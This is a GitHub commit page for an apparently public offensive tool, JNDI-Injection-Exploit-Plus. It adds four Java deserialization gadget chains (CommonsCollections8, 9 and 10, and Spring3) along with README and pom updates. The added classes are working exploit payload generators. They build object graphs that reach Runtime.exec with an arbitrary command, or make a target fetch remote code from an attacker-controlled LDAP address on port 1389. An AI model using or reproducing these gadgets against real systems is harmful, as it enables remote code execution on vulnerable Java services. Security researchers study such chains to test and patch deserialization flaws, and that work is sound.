Skip to content

Commit 109360f

Browse files
committed
add 4 more gadgets
1 parent 117d2db commit 109360f

File tree

8 files changed

+321
-5
lines changed

8 files changed

+321
-5
lines changed

README.md

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3131
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3232
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3333

34-
#### 3. Deserailization Gadget (total: 33)
34+
#### 3. Deserailization Gadget (total: 37)
3535

3636
P.S. More Gadgets than ysoserial, welcome to PR more! ^_^
3737

@@ -51,6 +51,9 @@ CommonsCollections4 |@frohoff |commons-collections4:4.0
5151
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
5252
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
5353
CommonsCollections7 |@scristalli, @hanyrax, @EdoardoVignati |commons-collections:3.1
54+
CommonsCollections8 |@cckuailong |commons-collections4:4.0
55+
CommonsCollections9 |@cckuailong |commons-collections:3.1
56+
CommonsCollections10|@cckuailong |commons-collections:3.2.1
5457
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
5558
Groovy1 |@frohoff |groovy:2.3.9
5659
Hibernate1 |@mbechler|
@@ -67,7 +70,8 @@ ROME1 |@mbechler |rome:1.0
6770
ROME2 |@firebasky |rome:1.0
6871
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
6972
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
70-
URLDNS |@gebl| |jre only vuln detect
73+
Spring3 |@cckuailong |spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
74+
URLDNS |@gebl |jre only vuln detect
7175
Vaadin1 |@kai_ullrich |vaadin-server:7.7.14, vaadin-shared:7.7.14
7276
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
7377
WildFly1 |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
@@ -77,7 +81,7 @@ WildFly1 |@hugow |org.wildfly:wildfly-connector:
7781
Run as
7882

7983
```shell
80-
$ java -jar JNDI-Injection-Exploit-Plus-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
84+
$ java -jar JNDI-Injection-Exploit-Plus-1.1-SNAPSHOT-all.jar [-C] [command] [-A] [address]
8185
```
8286

8387
where:
@@ -109,7 +113,7 @@ Points for attention:
109113
1. Start the tool like this:
110114

111115
```shell
112-
$ java -jar JNDI-Injection-Exploit-Plus-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
116+
$ java -jar JNDI-Injection-Exploit-Plus-1.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
113117
```
114118

115119
Screenshot:

pom.xml

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.0-SNAPSHOT</version>
9+
<version>1.1-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -213,6 +213,22 @@
213213
<version>26.0.1.Final</version>
214214
</dependency>
215215

216+
<dependency>
217+
<groupId>org.springframework</groupId>
218+
<artifactId>spring-tx</artifactId>
219+
<version>4.2.4.RELEASE</version>
220+
</dependency>
221+
<dependency>
222+
<groupId>org.springframework</groupId>
223+
<artifactId>spring-context</artifactId>
224+
<version>4.2.4.RELEASE</version>
225+
</dependency>
226+
<dependency>
227+
<groupId>javax.transaction</groupId>
228+
<artifactId>javax.transaction-api</artifactId>
229+
<version>1.2</version>
230+
</dependency>
231+
216232
<!-- test -->
217233
<dependency>
218234
<groupId>junit</groupId>

src/main/java/jndi/CommonDeserial.java

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,15 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
4545
case "CommonsCollections7":
4646
bytes = CommonsCollections7.getBytes(command);
4747
break;
48+
case "CommonsCollections8":
49+
bytes = CommonsCollections8.getBytes(command);
50+
break;
51+
case "CommonsCollections9":
52+
bytes = CommonsCollections9.getBytes(command);
53+
break;
54+
case "CommonsCollections10":
55+
bytes = CommonsCollections10.getBytes(command);
56+
break;
4857
case "AspectJWeaver":
4958
bytes = AspectJWeaver.getBytes(command);
5059
break;
@@ -108,6 +117,9 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
108117
case "Spring2":
109118
bytes = Spring2.getBytes(command);
110119
break;
120+
case "Spring3":
121+
bytes = Spring3.getBytes(codebase);
122+
break;
111123
case "URLDNS":
112124
bytes = URLDNS.getBytes(command);
113125
break;
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
package payloads;
2+
3+
import org.apache.commons.collections.comparators.TransformingComparator;
4+
import org.apache.commons.collections.functors.InvokerTransformer;
5+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
6+
import org.apache.commons.collections.map.LazyMap;
7+
import payloads.annotation.Authors;
8+
import payloads.annotation.Dependencies;
9+
import util.Gadgets;
10+
import util.PayloadRunner;
11+
import util.Reflections;
12+
13+
import javax.management.BadAttributeValueExpException;
14+
import java.lang.reflect.Field;
15+
import java.util.HashMap;
16+
import java.util.HashSet;
17+
import java.util.Map;
18+
19+
/*
20+
java.security.manager off OR set jdk.xml.enableTemplatesImplDeserialization=true
21+
Gadget chain:
22+
java.io.ObjectInputStream.readObject()
23+
java.util.HashSet.readObject()
24+
java.util.HashMap.put()
25+
java.util.HashMap.hash()
26+
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
27+
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
28+
org.apache.commons.collections.map.LazyMap.get()
29+
org.apache.commons.collections.functors.InvokerTransformer.transform()
30+
java.lang.reflect.Method.invoke()
31+
... templates gadgets ...
32+
java.lang.Runtime.exec()
33+
*/
34+
@Dependencies({"commons-collections:commons-collections:3.2.1"})
35+
@Authors({Authors.CCKUAILONG})
36+
37+
public class CommonsCollections10 extends PayloadRunner implements ObjectPayload<HashSet> {
38+
39+
public HashSet getObject(final String command) throws Exception {
40+
final Object templates = Gadgets.createTemplatesImpl(command);
41+
// mock method name until armed
42+
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
43+
44+
final Map innerMap = new HashMap();
45+
46+
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
47+
48+
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
49+
50+
HashSet map = new HashSet(1);
51+
map.add("foo");
52+
Field f = null;
53+
try {
54+
f = HashSet.class.getDeclaredField("map");
55+
} catch (NoSuchFieldException e) {
56+
f = HashSet.class.getDeclaredField("backingMap");
57+
}
58+
Reflections.setAccessible(f);
59+
HashMap innimpl = null;
60+
innimpl = (HashMap) f.get(map);
61+
62+
Field f2 = null;
63+
try {
64+
f2 = HashMap.class.getDeclaredField("table");
65+
} catch (NoSuchFieldException e) {
66+
f2 = HashMap.class.getDeclaredField("elementData");
67+
}
68+
Reflections.setAccessible(f2);
69+
Object[] array = new Object[0];
70+
array = (Object[]) f2.get(innimpl);
71+
Object node = array[0];
72+
if(node == null){
73+
node = array[1];
74+
}
75+
76+
Field keyField = null;
77+
try{
78+
keyField = node.getClass().getDeclaredField("key");
79+
}catch(Exception e){
80+
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
81+
}
82+
Reflections.setAccessible(keyField);
83+
keyField.set(node, entry);
84+
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
85+
86+
return map;
87+
}
88+
89+
public static byte[] getBytes(final String command) throws Exception {
90+
return PayloadRunner.run(CommonsCollections10.class, command);
91+
}
92+
93+
public static void main(final String command) throws Exception {
94+
PayloadRunner.run(CommonsCollections10.class, command);
95+
}
96+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
package payloads;
2+
3+
import org.apache.commons.collections4.bag.TreeBag;
4+
import org.apache.commons.collections4.comparators.TransformingComparator;
5+
import org.apache.commons.collections4.functors.InvokerTransformer;
6+
import payloads.annotation.Authors;
7+
import payloads.annotation.Dependencies;
8+
import util.Gadgets;
9+
import util.PayloadRunner;
10+
import util.Reflections;
11+
12+
/*
13+
Gadget chain:
14+
org.apache.commons.collections4.bag.TreeBag.readObject
15+
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
16+
java.util.TreeMap.put
17+
java.util.TreeMap.compare
18+
org.apache.commons.collections4.comparators.TransformingComparator.compare
19+
org.apache.commons.collections4.functors.InvokerTransformer.transform
20+
java.lang.reflect.Method.invoke
21+
sun.reflect.DelegatingMethodAccessorImpl.invoke
22+
sun.reflect.NativeMethodAccessorImpl.invoke
23+
sun.reflect.NativeMethodAccessorImpl.invoke0
24+
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
25+
... (TemplatesImpl gadget)
26+
java.lang.Runtime.exec
27+
*/
28+
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
29+
@Authors({Authors.CCKUAILONG})
30+
31+
public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
32+
33+
public TreeBag getObject(final String command) throws Exception {
34+
Object templates = Gadgets.createTemplatesImpl(command);
35+
36+
// setup harmless chain
37+
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
38+
39+
// define the comparator used for sorting
40+
TransformingComparator comp = new TransformingComparator(transformer);
41+
42+
// prepare CommonsCollections object entry point
43+
TreeBag tree = new TreeBag(comp);
44+
tree.add(templates);
45+
46+
// arm transformer
47+
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
48+
49+
return tree;
50+
}
51+
52+
public static byte[] getBytes(final String command) throws Exception {
53+
return PayloadRunner.run(CommonsCollections8.class, command);
54+
}
55+
56+
public static void main(final String command) throws Exception {
57+
PayloadRunner.run(CommonsCollections8.class, command);
58+
}
59+
}
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
package payloads;
2+
3+
import org.apache.commons.collections.Transformer;
4+
import org.apache.commons.collections.functors.ChainedTransformer;
5+
import org.apache.commons.collections.functors.ConstantTransformer;
6+
import org.apache.commons.collections.functors.InvokerTransformer;
7+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
8+
import org.apache.commons.collections.map.LazyMap;
9+
import payloads.annotation.Authors;
10+
import payloads.annotation.Dependencies;
11+
import util.PayloadRunner;
12+
import util.Reflections;
13+
14+
import java.lang.reflect.Field;
15+
import java.util.HashMap;
16+
import java.util.Hashtable;
17+
import java.util.Map;
18+
19+
/*
20+
Gadget chain:
21+
java.util.Hashtable.readObject
22+
java.util.Hashtable.reconstitutionPut
23+
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
24+
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
25+
org.apache.commons.collections.map.LazyMap.get()
26+
org.apache.commons.collections.functors.ChainedTransformer.transform()
27+
org.apache.commons.collections.functors.InvokerTransformer.transform()
28+
java.lang.reflect.Method.invoke()
29+
java.lang.Runtime.exec()
30+
*/
31+
@Dependencies({"commons-collections:commons-collections:3.1"})
32+
@Authors({Authors.CCKUAILONG})
33+
34+
public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<Hashtable> {
35+
36+
public Hashtable getObject(String command) throws Exception {
37+
final String[] execArgs = new String[]{command};
38+
39+
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
40+
41+
final Transformer[] transformers = new Transformer[]{
42+
new ConstantTransformer(Runtime.class),
43+
new InvokerTransformer("getMethod",
44+
new Class[]{String.class, Class[].class},
45+
new Object[]{"getRuntime", new Class[0]}),
46+
new InvokerTransformer("invoke",
47+
new Class[]{Object.class, Object[].class},
48+
new Object[]{null, new Object[0]}),
49+
new InvokerTransformer("exec",
50+
new Class[]{String.class},
51+
execArgs),
52+
new ConstantTransformer(1)};
53+
54+
final Map innerMap = new HashMap();
55+
56+
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
57+
58+
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
59+
Hashtable hashtable = new Hashtable();
60+
hashtable.put("foo",1);
61+
// 获取hashtable的table类属性
62+
Field tableField = Hashtable.class.getDeclaredField("table");
63+
Reflections.setAccessible(tableField);
64+
Object[] table = (Object[])tableField.get(hashtable);
65+
Object entry1 = table[0];
66+
if(entry1==null)
67+
entry1 = table[1];
68+
// 获取Hashtable.Entry的key属性
69+
Field keyField = entry1.getClass().getDeclaredField("key");
70+
Reflections.setAccessible(keyField);
71+
// 将key属性给替换成构造好的TiedMapEntry实例
72+
keyField.set(entry1, entry);
73+
// 填充真正的命令执行代码
74+
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
75+
return hashtable;
76+
}
77+
78+
public static byte[] getBytes(final String command) throws Exception {
79+
return PayloadRunner.run(CommonsCollections9.class, command);
80+
}
81+
82+
public static void main(final String command) throws Exception {
83+
PayloadRunner.run(CommonsCollections9.class, command);
84+
}
85+
}
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package payloads;
2+
3+
4+
import org.springframework.transaction.jta.JtaTransactionManager;
5+
import payloads.annotation.Authors;
6+
import payloads.annotation.Dependencies;
7+
import util.PayloadRunner;
8+
9+
import java.net.URL;
10+
11+
12+
/**
13+
*
14+
* Spring-tx JtxTransactionManager JNDI Injection
15+
*
16+
*/
17+
18+
@Dependencies ( {"org.springframework:spring-tx:5.2.3.RELEASE","org.springframework:spring-context:5.2.3.RELEASE","javax.transaction:javax.transaction-api:1.2"} )
19+
@Authors({ Authors.CCKUAILONG })
20+
public class Spring3 extends PayloadRunner implements ObjectPayload<Object> {
21+
22+
public Object getObject ( final String command ) throws Exception {
23+
JtaTransactionManager manager = new JtaTransactionManager();
24+
manager.setUserTransactionName(command);
25+
return manager;
26+
}
27+
28+
public static byte[] getBytes ( final URL codebase ) throws Exception {
29+
return PayloadRunner.run(Spring3.class, "ldap://" + codebase.getHost() + ":1389/remoteExploit8");
30+
}
31+
32+
public static void main ( final String command ) throws Exception {
33+
PayloadRunner.run(Spring3.class, command);
34+
}
35+
}

0 commit comments

Comments
 (0)